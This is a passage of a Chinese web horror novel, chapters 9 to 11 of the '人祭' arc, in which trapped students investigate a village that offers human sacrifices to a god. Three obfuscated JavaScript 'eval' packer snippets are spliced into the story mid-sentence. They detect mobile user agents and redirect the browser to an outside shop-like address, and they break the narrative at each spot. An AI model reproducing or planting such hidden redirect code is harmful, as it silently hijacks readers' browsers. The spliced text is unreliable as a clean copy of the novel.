可恐惧这种东西,一旦出现过便不可能消失。它像病毒一样迅速蔓延,不断侵蚀李青青的五脏六腑。 风敲击窗户的声音;竹床摩擦的声音;外面细微的脚步声……等等!脚步声?为什么会有脚步声?! 是我听错了吗? 汗水浸湿李青青的头发,透过发丝流向她的眼睛,将她辣的几乎睁不开眼。可她此时无暇顾及,她不受控地去关注这突如其来的脚步声。 这个声音极细微,像是光脚的人踩在泥土上,寻常人根本无法听见,只有此时精神高度紧绷的李青青能将它听的一清二楚。 我听错了……一定是我听错了……不会错的,我……我听错了吗?我到底听没听错?!不对,它……它好像越来越近了……! 李青青屏住呼吸,不敢发出一点声音,也不敢挪动分毫,她一直保持着这个姿势,装作自己已经熟睡了。 睡着了就好了……睡着了就什么都不知道了……对,就是这样……我只要不动,就会睡着……睡着了就不怕了…… 李青青蜷缩着一动不动,一直保持这个姿势到天亮,一直到被其他人发现。 “青青……”王圣英捂住嘴,努力不让眼泪流下来。 “唉,新人就是容易出事。”马力拍拍王圣英的肩膀,宽慰道:“别想太多了。” 彦歌上前推开这假惺惺的两人,盯着李青青的尸体冷声道:“与其在这里说一些没用的废话,不如赶紧告诉我们你们昨晚干了什么,也让李青青的死有点用。” 王圣英悲伤的表情一僵:“彦歌,你这话是什么意思?” “呵。”彦歌冷笑一声,眼含嘲讽地看向王圣英,“她不是跟你出去碰到的死亡条件?你总不会想告诉我,在房间睡觉是死亡条件吧?” “你别乱咬人!” 马力站到王圣英身前,一脸凶恶道:“她自己乱摸乱碰到什么东西,我们怎么知道?我们还能时时刻刻看着她吗?” “你们昨晚不是说她受惊了,去安慰她了吗?她难不成什么也没跟你们说?“卷毛男在门口听到马力的话后立马不满地冲进来。 “对啊。”杨伟担心马力藏着重要线索,也出声劝说,“我们也不是说你们害她,我们就是想知道她触犯什么线索了,大家现在都是一条绳上的蚂蚱,你们知道什么就说出来吧。” 马力冷哼一声,他压根不承杨伟的情,反而将矛头指向了杨伟:“你说的到好听,那你怎么不说说你们昨天发现什么了?” “我们知道什么?!杨哥好心跟你说你不听,现在还想反咬我们一口是吧?!”刘飞最见不得别人在他面前撒野,马力这一句话,直接将他怒火点了起来。 “切。”马力不屑于跟刘飞对话,转头招呼身后的王圣英出去,“我们先去找线索了。” “你!” 杨伟压住刘飞的肩膀,压下眼中的冷意,转身对其他人微笑道:“既然这样,我们也先去找线索了。” 一时之间,房间中只剩下他们四个。 “这些人,见情况不对全跑了!”卷毛男朝着他们的背影哕了一口。 “他们本就不可信,做出什么事都很正常。”秦允脸上没什么表情,他一开始就不对这些人抱有希望。 彦歌没说话,只盯着李青青的尸体思索。 李青青与王天天不同,她的身上没有明显外伤,周围也没打斗的痕迹,就连尸体的位置,看起来都是没有移动过的。 她究竟是怎么死的? 彦歌望着李青青凹陷苍白的侧脸,猛然间想起了什么,伸手摸向李青青的脖颈。 已经冷的有些发硬了,而王天天的尸体她记得还算柔软。 李青青是失血而死的。 “我昨晚,其实听到了一些动静。你们也在三楼,有听见什么吗?”彦歌忽然出声,打断了卷毛男对另外几人冷漠的斥责。 “嗯……”卷毛男挠挠头,有些不太好意思,“我刚开始听见了一点,好像是有人上 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算了,还是先想想怎么出去吧。 彦歌将思绪拉回,准备在脑中将线索从头到尾顺一遍时,忽地听到楼梯上传来轻微的嘎吱声。 有人上来了,但是刚才没有人下来。 彦歌心中警铃大响,迅速起身坐在床上仔细听着外面的动静。 没过多久,她就听见有东西停在了她门口,但是楼梯的嘎吱声却没有消失。 不止一个。彦歌神色一沉。 “咚咚” 彦歌的房间被敲响了,只有一个人在敲。 “咚咚咚” “咚咚咚咚!” “咚咚咚咚咚!!” 见彦歌一直不开门,外面敲击的力度逐渐增大,脆弱的竹门在沉重的敲击声下不断嘶叫着,仿佛下一秒门外的东西就会破门而入。 彦歌压住剧烈的心跳,蹑手蹑脚地下床靠近竹门。 透过竹门的缝隙,彦歌看到门外密密麻麻地站满了村民。 “你在里面呀。” 随着门外窸窸窣窣的声音响起又落下,一只布满血丝的眼球骤然出现在彦歌视线中。 “给我开门呀!!” 村民麻木的脸上咧出一个诡异的巨大笑容,使出更大的力气开始敲击竹门。 “呼” 等彦歌找回意识时才发现自己不知何时已经瘫坐在地上。 “开门呀!开门呀!” 见彦歌迟迟不开门,其他村民也开始跟着喊。 “开开门呀!开门呀!祭品要逃跑!” “你为什么不开门?!神要生气了!” 他们的声音充斥在彦歌脑中,接连不断地敲击声和叫喊声刺的她头晕目眩。 “闭嘴!” 彦歌咬着嘴低吼一声,狠狠按了把自己的伤口让自己保持清醒。 不能被它们影响。她刚刚差点就开门了。 村民如实闭了嘴,但手上的力度却愈发大,像是确定彦歌不会开门后便准备硬闯了。 “滋啦!” “抓祭品抓祭品!” 村民一张张疯狂狰狞的面孔出现在倒塌的竹门后。 9. 人祭(9) “祭品不见了!祭品跑了!” 村民对着空无一人的房间尖叫着呐喊。 “抓祭品!” “嗯呃!” 彦歌闷哼一声,忍着从楼上摔下的痛迅速从地上爬起来,踉跄地跑到王天天房间位置,踩着竹子缝隙从窗口爬了进去。 幸好竹楼楼层并不高,否则她真成瓮中之鳖了。彦歌捂着汩汩流血的腿心有余悸地想。 不知道那些村民会不会找到这里,如果再来一次,她估计没力气再跳一次楼了。 彦歌抬眼睃巡四周,思索下一次的逃生方案。 没等彦歌将方案想出,她就听到从楼上传来的敲门声。 彦歌抬头沉默地望向天花板。 楼上是李青青。 “卧槽!你昨晚这么惊险?!”卷毛男围着彦歌转了一圈,啧啧称赞,“你是我见过最牛的女生!彦姐!” 彦歌挥手打断卷毛男的耍宝,面无表情地继续叙述:“我本以为我被那小女孩蒙了,所以昨晚那些村民才会找上门,但他们在发现我跑了后竟掉头去找了李青青。” “那么一定不是小女孩骗了我,而应该是因为某种原因导致那些村民将我当做了祭品,但或许因为我并不是巴力神钦点的祭品,又或者是祭祀时间未到,所以他们并不着急抓我。而昨天李青青明确触犯了死亡条件,所以他们才会在抓我未果后去找了李青青。” 锅盖男赞同地点点头:“你说的有道理,我之前课题也有类似的情况,多人触犯死亡条件时课题会优先选择攻击最严重的那个。” “你这么说我也想起来了。”卷毛男摸着下巴附和。 “不过你今晚也小心些吧,虽然你昨晚逃脱了,但是触犯过规则的人课题是一定不会放过的。” 彦歌收下卷毛男善意的提醒:“我知道了。但如果天天如此,我一定坚持不住,课题能提前完成吗?” 秦允:“可以。” “课题只有在规定时间内完成的规则,没有不能提前完成的规则。”秦允凝视着彦歌,淡声道:“不过像这种明确最后一天与主线有重大关联的课题,我个人认为会比较难。” “诶!你别说风凉话行不行!”卷毛男怕彦歌多想,连忙出声打断。 秦允垂下眼眸,转身走到看风景。 “今天都第三天了,满打满算也就三晚上,说不定那四个谁触犯了呢?你别太担心。”卷毛男见秦允不再多说,便凑到彦歌身边宽慰她。 “谢谢。” 虽然彦歌并没多担心,但她也不想辜负卷毛男的好意。像卷毛男这样能不被课题同化的学生,彦歌感觉以后会越来越少了。 彦歌:“还有,我应该知道这口罩为什么没用了。” 秦允抬眸看向彦歌:“是只有触犯死亡条件的人才会醒着?” “对。”彦歌点点头,否则昨晚他们四个都带着口罩怎么就刚好她能醒着? “他们会麻痹你的意志,让你自愿献祭。” 秦允蹙眉分析:“看来这个课题鬼怪的重点是攻心。” 彦歌问:“还有重点?” 秦允解释:“每个课题规则不一样,鬼怪攻击人的方法自然也不同。” 明白了,就是不同的鬼喜欢用不同的方法杀人。 彦歌又问:“我有一个问题,我的房门昨晚被它们敲碎了,为什么第二天又变成好的了,但是里面还是乱的。” “因为你没死。”卷毛男再次热心解释,“课题巴不得我们死的越多越好,所以它只展现死人身上的线索,像你这种逃走了的,它们会掩盖,避免让其他学生看出来。” 彦歌:“学生之间为什么相互防备?学生又为什么不能杀学生呢?”这个问题困扰她很久了,眼下终于找到合适时机问了。 “第一个问题是因为课题会奖励第一个逃生的人下一个课题的线索,而且有时候鬼会混进学生里,学生也会被鬼怪蛊惑与其合作,例如王天天。”这次回答她的人是锅盖男,“第二个问题,不能杀学生是因为课题自动抹杀杀人者,不过只要你不亲手把人捅死它就识别不到。” “还有什么问题吗?” “没有了。”彦歌沉着脸,在心中嗤笑一声。 课题好大的算计,先利用规则离间学生让其离心,再让学生自相残杀,接着又惩罚杀人者,最后又向学生透露只有死人才能得到更多的线索,让他们利用规则借刀杀人。 真是为了满足它的凌虐欲下了好大的一盘棋啊。 “你们不是说今天要带我们去找李青青的死因吗?”彦歌压下眼中情绪,抬眸看向他们。 “对,那我们现在就走吧!”卷毛男说着就拉起锅盖男往外走。 一个男人的直觉,他感觉彦歌现在心情很糟,这种时候,他离她越远越好。 彦歌确实心情很差,因为她最讨厌这种被拿捏控制的感觉。 如她的二叔,如她的大姑,现在又多了这个该死的课题。 “到了!就是这里了!”卷毛男指着面前一栋红墙铜门的瓦房道。 这不仅是村子里为数不多的瓦房,还是唯一一栋红墙铜门的建筑,由此可见这房子在村民心中的地位。 彦歌视线停在铜门上挂着写着“祠堂”二字的牌匾,怪不得如此爱惜呢。 卷毛男嬉嬉笑笑地说:“我昨天跟赵祥本来想去村长家的,结果我看到杨伟,刘飞和秦允都去了。我们便调转方向来了这儿,想着这独树一帜的建筑一定有线索,结果王圣英他们三个也来了。” “所以我们只好躲在暗处观察了。”卷毛男说到王圣英,脸色瞬间臭了下去,“我们离得远,听不清。只看到李青青刚推门进去没多久就一脸惊恐地出来了,然后他们三个就走了。对了,当时有七八个不知道从哪冒出来的村民也看到了。” 彦歌沉思道:“这么说来,李青青触犯的死亡条件跟祠堂有关。” “我们也这么想,不过应该没那么简单。”卷毛男背着手分析道:“因为她没进去多久,这祠堂大门到内堂有不少距离呢,她肯定没走到深处去。总不能是进祠堂是死亡条件吧。” 祠堂身为重要地点之一,进祠堂一定不可能成为死亡条件,否则他们没法玩了。 “你说的对,所以我觉得死亡条件应该是被村民看见进入祠堂。”彦歌说完又补了句,“换言之,就是让这些人知道我们在调查他们。” “你还漏掉了什么细节吗?” 卷毛男猛地摇头:“绝对没有!我们在他们进去前就一路跟着了,绝对没有错过一点细节。你要不信,你问赵祥。” 赵祥点点头,温声道:“正扬没说错。不过我有点要补充的是,那些村民是在我们去祠堂的路上就跟着了。” “什么?!”曹正扬一脸惊讶地看向赵祥,眼中流露出不可思议的痛苦,“你怎么不告诉我?!是不是兄弟?!” 赵祥无奈地拍了拍曹正扬的肩膀:“这些村民感官敏锐,我那时不方便开口,怕我们也被发现了。后面我又想着今天一起说,就没告诉你。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16662067|188491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好吧。”曹正扬勉强接受了这个理由。 “这么看来,村长突然回来的原因应该是跟那些村民一样了,因为他家也被翻了。”彦歌豁然开朗。 秦允点头:“得先找到村民是怎么得知的,我们才能开始行动。” 彦歌想起小女孩说起的里婆:“据小女孩所说,村里的祭司是一个名叫里婆的女人,或许是她向村民传递的信息。” “里婆?”曹正扬蹙眉,“村里还有这么个人。” “对,所以我们现在兵分两路,一队去找里婆,一队跟我去集市再去找那小女孩。”彦歌果断安排,再重要的线索都没她小命重要,她得再去找一次那小女孩。 “那我跟赵祥......”不等曹正扬说完,彦歌就冷漠打断:“你跟我去集市,他们去找里婆。” “为什么?”曹正扬瞪着眼睛发问。 “没有为什么。”彦歌此时冷峻的样子在曹正扬眼里如同一个独裁的法西斯,“组织命令高于一切,你跟我走。” “我......”曹正扬鼓着脸,反驳的话刚开口就被赵祥打断。 “没事的,你跟彦歌一队吧。”赵祥拉了拉曹正扬胳膊,温声劝道。 “那好吧......”曹正扬瘪着嘴看着彦歌的侧脸,看样子心中还是不满。 不过彦歌并不在意他满不满意,只要结果正确就行。 “那赶紧走吧,时间不等人。” 到了集市后不出彦歌所料,杨伟等人果然也在集市上。 这些人昨天发现村中无人,又遭遇村民的突然回归,今天一定会来集市上找线索。 彦歌收回视线,准备绕过他们去寻小女孩。 她时间紧迫,现在没空应付他们。 可架不住别人上赶着黏上来。 彦歌刚出现在集市,杨伟就眼尖地发现了:“诶?彦歌!” “......”装听不见好了。 彦歌撇过脸,准备捂着耳朵向前走。 可她远远低估了这群人的粘人程度。 杨伟见彦歌不理他,便带着刘飞一路小跑追了过来:“彦歌!你也,,你也来集市了?” 彦歌望着一边说话一边喘息的杨伟,用鼻腔冷漠地发出一声“嗯。” “诶,,我,我就猜到你肯定回来。”杨伟深吸口气平稳自己呼吸,“我跟小飞在这转了一圈,什么也没发现,你们有找到什么吗?” “没有呢。”彦歌露出一个假笑,“我们才刚到这里,能发现什么?” “你别装了。”刘飞斜眼看着彦歌,一副看透她的样子,“你昨天就来了吧?不然你伤怎么受的?” 彦歌收起笑容,淡声道:“你这么聪明,为什么找线索还要靠我?” “不是我......”刘飞眼冒凶光,正想发怒时却不知想到了什么,一下又收了回去,好声好气道:“我怎么能有你聪明,大家都是队友,发现了什么,你就说出来吧。” 看来杨伟已经提点过他了,不过她是不可能跟这俩人合作的。而且,她已经发现小女孩的摊位了。 “我不是说了吗?我刚来的。”彦歌有些不耐烦地开始敷衍,“我现在去里面看看,有什么到时候再说吧。” 说完彦歌就带着曹正扬火速进了集市,没多久就消失在他们的视线中。 “杨哥!就这么让他们跑了?”刘飞啐了口唾沫,一脸凶恶地说。 “不着急。”杨伟眼色阴沉地盯着彦歌的背影,“到时候他们不说也得说。” 10. 人祭(10) 小女孩的摊位挪到了村民后面,被密密麻麻的摊位挡着,难怪彦歌半天没找到。 “你昨天不是说我没事吗?那些村民怎么来找我了?”彦歌看着小女孩的头顶,开门见山道。 “……” 小女孩仰起头,漆黑的双瞳沉默地注视着彦歌。 “哎。”彦歌叹了口气蹲下身,与小女孩平视:“你别装高冷了,昨天话不是很多吗?你再不说,我就告诉那些村民你在这。” 彦歌怕小女孩又发疯,便小小的威胁了一下。 “……事情出现了一些变故。”许是彦歌的威胁起了作用,小女孩终于缓慢地开了口。 “什么变故。”彦歌拧眉。 小女孩抿抿唇,搭在腿上的手下意识握拳,眼里竟流出一丝恨意:“我跑了之后里婆能找到的祭品愈发少了,现在再想要获得巴力神的庇佑就需要更多的祭品。” 看来关键还在里婆身上。彦歌与曹正扬迅速交换了一下眼神。 “那就是说,今晚村民还会来找我?”彦歌已经开始在闹钟思考今晚躲去哪了。 李青青的房间吗?但是三楼有点高…… “不。”小女孩的话让彦歌本就死的心更死了,“昨晚你的逃跑激怒了巴力神,今晚它会亲自来找你,除非你甘愿向祂献祭,这样起码能安全活到祭祀日。” “什么?!”没等彦歌开口,曹正扬先惊呼出声:“这村民还能躲躲,巴力神来了可怎么办啊?” 曹正扬有些悲伤地垂下头颅,无力地抬起一条胳膊搭在彦歌肩上轻轻拍了拍:“彦歌,虽然我们只认识了不到三天,但我会永远记得你的……” “滚远一点。”彦歌冷漠地拍掉曹正扬的手。 “嘶。”曹正扬捂着手老实地蹲到后面。 彦歌直起身,居高临下地盯着小女孩:“巴力神不来找你这个从祭坛上逃跑的祭品,反倒来找我?” 小女孩眉心一跳,维持着先前麻木呆滞的表情沉默不语。 “学聪明了,还想诓我?”彦歌扬起嘴角,但眼中的冷意却刺破空气直扎进小女孩的瞳孔。 “虽然我不知道你为什么逃跑了还敢来这摆摊,也不知道为什么这些村民对你视而不见。不过看你日日换地,一次比一次隐蔽,也不是全然不怕这些村民吧?” “我的人已经找到里婆了,你猜如果现在我告诉这些村民你的存在,能不能将里婆吸引过来?村民又能不能,牵制你足够的时间?!” “滋啦!” 小女孩下意识踢倒了面前的竹筐,使里面一些干瘪黑黄的棍状、碎块状物品以及一些时间久远的干花全部散落出来,随之而来的,还有这些东西上散发出的异香,跟竹楼里的味道一模一样。 “!”小女孩下意识抬头,面带惊惧地望向彦歌。 彦歌脸色很臭,亏她一开始还觉得这味道好闻,她现在真想抽死以前的自己。 “原来这就是贵村的熏香啊。” “原来如此!我说怎么回事!”曹正扬从后面跳出来,惊讶着观望地上散落的东西,“这些都是什么?” 不等曹正扬仔细观察,小女孩连忙起身把东西全部装回去:“……你昨天跟我一起触动了祭坛,沾染了我的气息,里婆应该误认为你是我,所以来找你了。” 见彦歌不说话,小女孩又急忙道:“昨晚里婆没找到你,巴力神今晚真的回来找你的!” 彦歌弯着眼睛,语气温柔:“我猜是你故意的吧?让我替你献祭,对吗?” 小女孩面上没什么表情,但微颤的睫毛俨然出卖了她的内心,彦歌了然地起身:“所以把你抓过去就……” 没等彦歌说完,小女孩就起身跑了,没几秒她就消失在了视野中。 ……她就该直接动手! “跑的也太快了吧?!”曹正扬瞠目结舌,“她摊子也不要了?” 彦歌冷眼扫了眼摊位:“哪有命重要。” 现在看来秦允说的没错,课题主线应该就是把这小女孩带去举行完成祭祀仪式。并且按小女孩的话,她被抓走后里婆应该也不会来抓她了。 不过她怎么总感觉有哪里不对? 彦歌蹲下,抬手掀开竹筐的盖子,将里面的东西拿了出来。 拿到手里才发现,除干花外的东西,竟都是一小节一小节的人的骨骼! “卧槽!他们把骨头摆着卖啊?!”曹正扬感到一阵恶寒。 彦歌细细摩挲,这些骨头被他们涂了柏油防止腐败,又与这些干郁金一起存放,难怪散发着这种味道。只不过没看到黑色石块,难道是在其他竹筐吗? 彦歌一边想一边打开其他竹筐,但所有竹筐的东西都是一样的,并且没有一个竹筐里有黑色石块。 黑色石块的来源到底是什么? “我们现在怎么办?”曹正扬有些丧气地蹲在彦歌身边,“小女孩跑了,那你晚上怎么办?而且她可以操纵贡品,跑得又快,我们要怎么抓她?” “不着急。”彦歌将东西放回原处,气定神闲道:“虽然不知道什么原因,但这七天她肯定都会在这里摆摊。” “现在我们去找秦允汇合。” 秦允和赵祥正绞尽脑汁想见里婆的理由。 里婆的房子特别好找,因为她的房子是村子最高贵的一栋建筑,其精致程度甚至远超祠堂。水泥建造陶瓷墙,朱漆大门金铜锁,二层“洋楼”带花园,即使位于现代农村,也算得上是富甲一方了。 但房子好找,里婆却不好见。 秦允二人已经被面前这位膀大腰圆,眼小如米粒的里婆儿子拦在门口快半小时了,无论他们如何劝说,这男人都是油盐不进,说什么也不给见。 “我说了不行!你们听不懂吗?赶紧走吧!”男人眉头紧皱,将眉心处拧出个大肉块。 “大哥......”秦允拦住想要继续劝说的赵祥,示意由他来说。 赵祥接收到信号后迅速收嘴沉默地往后退了两步。 “这位先生,我们捡到了这个。”秦允从兜里掏出黑色石块递到男人面前,一边说一边暗中观察男人表情:“这个东西质感特殊,闻起来一股异香,想来是你们村里的重要之物?” “这......!”男人见状脸色一变,连眼睛都显得清晰了。 看来这东西果然与里婆有关。 然而没等秦允露出喜意,男人的态度却骤然大变,甚至比刚才还要恶劣: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16662068|188491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我不知道这是什么!你们赶紧走听到没有?!再不走我就不客气了!” 男人说完狠狠锤了一拳大门,震动的地板无声地向他们传递着男人的威胁。 秦允和赵祥面色凝重地迅速对视一眼。 虽然不知道这男人突然发什么疯,但是如果就这么走了,下次再来估计更难。 “我......” 没等他们争取的话说出口,里屋里就传来一道苍老沙哑的声音,这声音不大,但却极浑厚,使门口的三人听得清清楚楚。 也让秦允二人松了口气。 “家福,有人来了怎么不告诉我?” “我,我这不是怕打扰您......”里婆还未露面,家福却已躬下身体,以一种尊重又害怕的姿态面朝里屋方向站着。 细看之下,家福脸上的肉甚至都有些轻微地抖动。 儿子这么害怕自己的母亲? 秦允探究地看向家福。 “哒、哒、哒” 随着拐杖声的响起,里婆的身影一点一点出现在他们面前。 她佝偻着身子,走得很慢。身上的紫黑色袍子上面绣着一些古怪的花纹,像是某种特殊的文字。 里婆的脸被宽大的帽子遮的严严实实,秦允只能依稀看到几缕雪白的头发。 “您就是里婆吗?”秦允礼貌斟酌地开口。 “嗯。”里婆抬起头,露出一张布满沟壑的面孔。 “你们找我有什么事?” “我们捡到了这个。”秦允将黑色石块递到里婆面前,他发现里婆在看到石块时脸色迅速冷了下来。 与此同时,他也没错过一旁抖若筛糠的家福。 里婆狠狠敲了下拐杖,猛然的震动使她脸上的皱纹都抖了一抖。 “呵呵,确实是重要的东西。”里婆干瘪瘦弱的手从袍子里伸出,拿走了秦允手上的石块。 里婆意味不明地冲秦允笑了一下,也许不是笑,只是她的皱纹太深、也太多了,才会让秦允以为是在笑。 “谢谢你,善良的年轻人。” “没事,里婆,这个石块有什么用吗?”秦允乘胜追击道。 “祭祀用的小物品罢了。”里婆似乎不愿多说,摆摆手敷衍道:“你们年轻人不懂很正常,没什么特殊的。” “我……” 里婆看着好说话,却是比家福更加难缠,她摸了摸大门,眯着眼睛,使原本就藏在深厚眼皮下的双眼更加深不可测。 “好了,他们要从集市回来了,被他们看见你们在村里乱晃,可没什么好事。” 村民突然回来果然跟里婆有关。 秦允刚找到方向,不愿放弃,但里婆却已示意家福关门了。 “你们快走罢!” 里婆的声音从正在关门的家福身后传来,秦允看不到里婆,只能看着面朝他们关门的家福。 家福冷汗直流,几乎浸湿了他全身,他发红的死死瞪着秦允和赵祥,眼中充斥着怨毒与仇恨,仿佛对他们见到里婆一事异常不满。 但这远远不及鬼怪的恐怖。 所以秦允在大门完全关闭后,立马转身看向赵祥,淡声道:“赵祥,你会爬墙吗?” 11. 人祭(11) 农村围墙大多低矮,即使是装潢精致的里婆家也不例外。 而这种程度,对于从小经常爬上爬下的秦允来说,简直是小菜一碟——他甚至不需要借助工具。 “秦允,你小心点。”不会爬墙的赵祥在下面担心地用气声提醒。 “嗯。” “妈……我,我错了,我不……”里婆家隔音不错,秦允听的并不真切。 “蠢货!我……逆子!祭品……你……去死!” 里婆愤怒地嘶吼中带着一阵阵的咳嗽,像是要把五脏六腑都咳出来一样。 黑色石块果然不简单。 秦允思索着,下意识往前去了去,想听得再清楚一点。 而不远处的彦歌心情有点复杂。 她怎么每次找到秦允时他都在墙上? “赵祥,秦允上去干嘛?”曹正扬冲到赵祥身边小声问道。 赵祥摇摇头:“等会再说。” “村民好像要……”在道口观察的彦歌注意到村口开始出现人影,便想前去提醒秦允,谁知她刚一靠近,秦允就“咻”地一下下来。 “快走!”秦允一落地便马不停蹄地往村外跑,连这句提醒的话都是被风带到他们耳旁的。 “什么、什么情况?”曹正扬一脸懵逼地看向彦歌。 “先走。”彦歌黑着脸,跟在秦允后面一起跑了。 “先别管了,我们也赶紧走。”赵祥拉着曹正扬赶上他们。 他目前虽不知道原因,但根据外面越来越的村民,他也能隐约猜到一些。 “行了!”彦歌喘着气喊道。 “他们白天应该不会随意离开村子,在这说就好了。” 她昨晚消耗了大量的精力,腿上的伤口又二次受伤,她现在实在没力气跑了。 这里林深叶茂,躲一个两个人根本发现不了。秦允环绕四周,确认只有他们四个后才开口:“都注意点,别被其他学生发现了。” “你刚才听到什么了?” 那些村民虽然难搞,但不至于如此惊慌。更何况,她还没来得及告诉秦允。 “里婆忽然出来了。”秦允表情有些难看,”她说祭品出现了,家福如果能抓到祭品就饶他不死。” “我担心事情与我们有关,再待下去会出事。” “完整的我听不清,但是根据我听到的来看,那个黑色石块应该是家福私自给王天天的。”秦允看向原处攒动的村民,继续讲。 “那个石块应该跟祭祀有关,从家福的态度上来看,王天天的死不仅使他计划失败,应该还给里婆惹了点麻烦,所以他才会如此害怕。” “但家福这么做的目的是什么?提前将我们献祭?还是说想拿我们当祭品,结果失败了?”曹正扬忍不住一股脑将所有问题吐出来。 秦允摇头:“不清楚,但这个原因一定很重要。” 赵祥:“家福比里婆好对付,我们到时候套套话,应该没问题。” 秦允点点头,转身看向一直坐在树下一言不发的彦歌:“彦歌,你怎么看?” “……我好像知道村民回来的原因了。”彦歌过了一会儿才涩着声音开口。 “什么原因?”秦允蹙眉望着半低着头的彦歌,她从刚才就没怎么动过。 “是因为我。”彦歌神色阴沉地盯着地上的泥土。 八成就是因为她在祭坛上沾染了小女孩的气息,所以一进村子里婆就察觉到了。 “什么?!那你以后岂不是都不能进入村子了?”曹正扬震惊道。 “不。”彦歌抬头冷眼看向村子的方向,“我非去不可。” 现在线索找的差不多了,只缺一条将它们紧紧相连的线,而这线必定在村子,她怎么可能不去?从17岁她父母去世后,她能相信的,就只有自己。 彦歌迎着他们复杂的眼神扶着树起身,继续道:“你们该庆幸家福计划没成功,否则我们都被选成祭品,这村子还进的得吗?” 她一个祭品的气息还没那么强,可若是二个、三个或者更多的祭品,他们就真的只能等死了。 秦允眼中难得升起一丝怒意:“这就是为什么学生要互相防备的原因。” 这些NPC一个个无孔无入,防不胜防。 “现在这些都是次要的。最重要的两件事,一族谱,二祠堂。”彦歌一个个点名开始安排任务,“先找族谱,再去祠堂。秦允之前去过村长家,比较熟悉,所以你们俩下午去祠堂,他们上午没收获下午肯定会接着去集市。曹正扬跟我去找家福。” “至于祠堂,白天没法去,今晚行动。” “怎么?有问题吗?”彦歌挑眉看着表情古怪的曹正扬与赵祥,“有什么不满说出来,我不是独裁的人。” “呃……”曹正扬挠挠头,面带犹豫道:“我们对计划没什么意见。只是……晚上去,是不是有点太危险了?” “不与虎谋皮,如何取得成功?”彦歌掀起眼皮瞥了他一眼,“而且必须晚上去,今晚巴力神来找我,村子里只有里婆和村民,构不成什么气候。我又不在村子,只要你们小心点不被发现就行。” “到时候你们趁我受困去祠堂搜寻,找到线索后故意引起里婆注意,这样就会惊动巴力神,让祂回去,我就安全了,然后你们再在巴力神回去前出来与我汇合。” 彦歌扫视他们一眼,淡声道:“只要你们不耗费时间太久害我死了,或者你们反应过慢被包围,那我们四个只要苟到天亮就完全没问题。” 别说曹正扬和赵祥,就连秦允,此时都觉得彦歌恐怖如斯。 这么会有人如此轻描淡写地讲述生死一线的事啊?! 秦允:“我没问题。”这招虽险,但只要打好配合,成功率不低。 彦歌点头:“你们呢?如果不愿意也没问题。” “彦歌,也不是我们不愿意,只是你是新人可能不清楚,课题晚上真不是你想的那么简单。而且……”曹正扬犹豫地喵了眼彦歌,最终闭眼道:“而且你不进村子,我们白天也能进祠堂。更何况你这么做,其实也不只是为了线索吧?你是担心今晚你抗不过去吧……” 曹正扬越说越不好意思,声音逐渐微不可闻。 不过彦歌倒没在意,她确实如曹正扬所说怀有私心。 按课题规则来,只要她一天不死,规则就一天不会放弃追杀她。 “所以我说你们自愿决定。”彦歌脸上没什么表情,让人看不透她的想法,“不过有件事我要说清楚,我之前说村子强调自愿献祭,所以祭品的晚上是清醒的。这话虽然没问题,但你们想想,所有人都清醒着不是也不影响他们杀人吗?” 秦允瞬间明白:“你是说他们不想我们晚上出去?” “对,晚上一定有很重要的线索,所以他们才不想我们出去。”彦歌说着忽然一笑,满脸温柔地看着他们,“而且,我一定不会是第一个死的。” “……” 还敢说自己不独裁?! 曹正扬咬着牙,满心的不满与憋屈最终化为一声叹息:“行吧!但是我跟秦允去就好了,赵祥在外面接应。” “我可以跟你们一起去!”赵祥见状急忙道,“晚上的课题危险万分,多个人多份力量!” “不用。”不等曹正扬开口,彦歌便出声替他拒绝:“曹正扬说的有道理,你在村口和竹楼的中间接应,不仅可以保证我们两方信息传递不及时,而且出事了也可以迅速帮忙。” 赵祥听完瞬间不觉得自己被排除在外了,便点头称赞道:“正扬,没想到你心思这么缜密。我还以为你是怕我们全部遇险才故意支开我的,是我想多了,真不好意思。” “……没事,呵呵,我也是突然想到。”曹正扬尴尬一笑,表情僵硬地接下赵祥的夸奖。 其实事实完全如赵祥所说…… “彦歌,你进去本就会招来村民,现在还去里婆家,不是自投罗网吗?”曹正扬不解发问。 彦歌睨了眼曹正扬:“谁说我去里婆家了?去的是你,我在祠堂门口等你。你把家福从家里骗出来带到我面前。” 他就说这人绝对没安好心! 然而心里这么想,面上曹正扬却一点不敢表现出来,只闷声道:“……我知道了。” “你知道什么?!你跟上午那两个一伙的吧!你们几个是不是也想说服我妈,把我们村改成旅游地?!”家福似乎怕被里婆发现,声音压得很低,梗的脖子上的青筋如蚯蚓般缠绕。 “我不知道!我没说我知道,我是说我发现有人想窥探你们祠堂的秘密,不是我知道了你们的秘密!”曹正扬也怕引来里婆,连忙出声解释。 家福嗤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16662069|188491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 